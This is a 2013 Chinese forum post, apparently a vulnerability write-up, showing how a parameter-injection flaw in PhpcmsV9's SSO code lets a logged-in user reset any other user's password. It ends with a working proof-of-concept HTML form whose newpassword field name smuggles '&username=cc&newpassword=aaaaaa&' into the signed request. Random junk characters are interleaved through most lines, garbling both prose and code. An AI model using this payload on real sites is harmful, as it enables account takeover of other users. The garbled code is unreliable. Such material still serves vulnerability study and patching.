找回密码
 立即注册
查看: 2732|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
; I' Z7 ~; R1 i2 d1 f3 L$ O7 e0 J6 i6 r" y) W) i
* y7 E+ P. ]. g0 s# R
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);5 x( `7 ^2 T& K6 [* o3 J; N+ C- i

  B! e: `) \2 B. v" n8 `在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
' q0 H7 E- `6 O5 b
1 a/ Z% L0 K$ J; y: u  d( f我把它留给了你们。9 m9 h4 t% A% X- [. V+ y1 C% r
不知道你们发现了它没有。# A3 g0 @/ @& K6 S5 W6 L9 S/ _. d
! b8 s: e! n: C4 d/ K" f5 T# D
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。; G8 m: e, A. W" D- x, n5 z* ^8 O
+ o/ F( _2 }9 W8 w$ K4 f
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。) s( v, I; H6 G; T  L
. m, w0 A$ B; \2 ^
也就是* [9 @7 B* K6 O; d4 a5 D
  @9 {9 }# f/ ^" E0 f- A/ T! t
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
& |9 [. K; e2 E+ H4 t5 X  g4 [
% g8 k. Q% D/ Y要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。  N9 S; o2 Q: o1 A, p
9 A0 i1 X/ _& z8 g  t9 W6 d) q
6 a6 ]+ c7 b* O$ p- o
其实我们有这样的机会,看看代码,如下:* D) J6 |# K" ~) W9 R
9 h4 y$ @; ?" }7 j  I  j3 ~! Q1 [5 Q4 H
9 t& F2 w- W( G/ p1 z
public function auth_data($data) {2 c( r) z0 x$ p# ^9 v: G* r; ^! `
                $s = $sep = '';
. G9 G4 w/ l6 r1 {, y$ C                foreach($data as $k => $v) {4 h! N8 o: U' S$ u
                        if(is_array($v)) {
  S" I7 L7 E$ J# Z                                $s2 = $sep2 = '';2 X8 ]- s; @8 [6 ^" ~
                                foreach($v as $k2 => $v2) {# m: N; _, r: q* i5 f6 s
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);  w7 L5 K( }6 w8 @5 S/ O. W# a
                                        $sep2 = '&';8 y% z+ A# x1 E: a' ?6 f
                                }6 p- W  V( Z! _, g
                                $s .= $sep.$s2;
+ t$ o1 {$ K2 u3 z2 L' s                        } else {
5 q$ @1 i0 ^3 O. Q                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
) [2 H2 W; F# y2 Z                        }
- u2 A- g9 ], b9 U8 Z7 `4 Z' A! _                        $sep = '&';7 |- T2 ]* _" H* p
                }: u8 r8 H% W- k& u$ L

1 ^" ~7 Q  s4 t0 j                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));) X* ?/ ]; U' A8 C5 M
                return $auth_s;
& l' y7 X# ~& B: J9 h& A2 Y: O        }" ?2 i) O. V% r* H3 u
' P4 n( R$ d1 j% C! a5 A& W; h
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。: Z/ v) `: n$ s0 ]
6 n* h8 n+ ?" D8 o
举个例子
8 d4 Q% O: Q7 |9 M$ G+ w5 k' U' D3 G! F; a
$a[aaa=a&bbb] = 'a';
* [/ R6 y2 ?. f1 f/ F3 q& D$ [0 n
6 \2 C+ J2 E$ C1 M; B1 T会变成aaa=a&bbb=a; y: j' w" I- G5 ]$ e! k+ b
. A* |& c: Z) O4 L& D0 C& {6 R9 P
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。- ~2 q6 W6 o2 y1 |2 r( N

+ @6 \; N& C+ A这个时候,我们可以再去看一个函数。6 F# B* Y4 a* t) @
! X5 d9 ^! N2 t: F7 Y4 T
就在这个文件内:
" Q  l/ q1 y/ [% w. _& a! F$ H8 m) E: M& Y" c' p6 x
1 d+ N; M$ H% o0 C. |- U
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {# ?; N* L* ?4 [( a- J' E6 z
                if($email && !$this->_is_email($email)) {
6 K( k  V4 s0 n% ~, `2 p4 P                        return -4;( b" u" x+ X) B5 {
                }6 d# |4 C" n' B5 P( e- c6 D
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));. Q7 I: I: h) q8 m- l) j7 r
        }
( r# u+ H- N+ ^, ~; B. M2 a
4 t0 R' D0 p  s# ]/ i' k这是向通行证发了这样一个请求。
/ B1 F' `  i( h: f7 L3 D3 z: c
# L0 K" A0 w6 A% F我们再跟到通信证代码里去看看,就会有所发现。
0 p# p+ B- O+ T3 y4 u; Q5 q3 c( v! S
4 \; n+ _$ ]0 R, D; w* J" o5 J9 a
public function edit() {
! c3 n5 H" x% f//能省就省,太长了不是吗?
1 N! |0 S# r5 }$ ~& a( y/ u
& ~' M' l5 H3 d/ s+ d' {5 }; D5 Vif($this->username) {
) c+ U9 I3 e$ q" t. W; c//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
; S% W5 k8 H: R  F$ [6 d7 ~9 K5 R                                $res = $this->db->update($data, array('username'=>$this->username));
) c- q7 l/ G( V, q! X$ W                        } else {
! \: E$ {1 L4 H+ b; ~; d1 m, ~                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);$ |- ?. `, L- O0 G; s6 _
                                $res = $this->db->update($data, array('uid'=>$this->uid));) i3 {9 |& U3 |9 d& j+ Z
                        }2 Q% w) X$ J$ P0 `& D  l0 t# s! E
, \5 U! f/ P  H& e% x' i
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
4 w" w3 a; H& q' f" p; g
: w" i3 ^, Z: m' q: ^' J% xpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
1 o. ?5 E6 B# v- H5 F8 C
0 m; a9 F- |. ]很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
7 P; T, c, j& _" g6 S( q  S. I9 _4 X7 w; C, ^" E7 B' t
我当然找到了:
/ }) m$ H: K6 A! Uphpcms9/phpcms/modules/member/index.php
; {# f' U# i, v7 d' G. l' {
1 J! L7 L6 h5 z. l7 g$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);5 Q; ?6 }" D2 |9 n7 Z0 c# y2 I% E2 e
2 ?" m1 b+ B' p. m
然后就没有然后了。! a: B. t4 E9 \$ E2 t
% q, \. f9 t/ @% ]/ C9 c( l! S2 h
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 S9 S) U6 \' i
                                <table width="100%" cellspacing="0" class="table_form">
- q/ L; C& B+ `% o* _6 A                                        <tr>5 E0 r7 W% k2 z4 `/ Y
                                                <th width="80">邮箱:</th>        0 W/ O) C$ j# U9 K2 o. c9 i
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
# J5 p9 H2 ]8 d; t                                        </tr>* Q/ W+ S, B9 R8 K  `6 ^9 u! u) N
                                        <tr># E6 r, d; B( V1 H" q1 k
                                                <th width="80">原密码:</th>        $ b, X% z# {4 K$ D4 }
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
8 `4 i6 O4 R- |& B                                        </tr>
# P$ s* m3 t' q% I# {                                        <tr>
: W1 N3 }# @9 F8 q$ \' I% m                                                <th>新密码:</th>
( u. b. p% z* K% v5 ~+ W; i                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
, ^  ?- c9 L: H( a) o: F                                        </tr>- n% F7 z; q" t/ x0 J- m( m4 Y
                                        <th></th>0 `8 [/ m) ?1 g, [* ~4 Z! f
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
7 V6 C1 j8 p7 h+ B7 A( b, u. r; q                                        </tr>/ z" B1 u; e; r1 K# ^
                                </table>
* u1 R9 ~" [% x, O- O7 Y& m" z! N5 d0 S/ w+ ^1 L$ T; b! {+ w5 ]
                                ; g9 R+ d0 w; E. M; e( K, d- K# L2 ?
                        </form>
! D) i0 D8 L* Q$ R  ~& w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表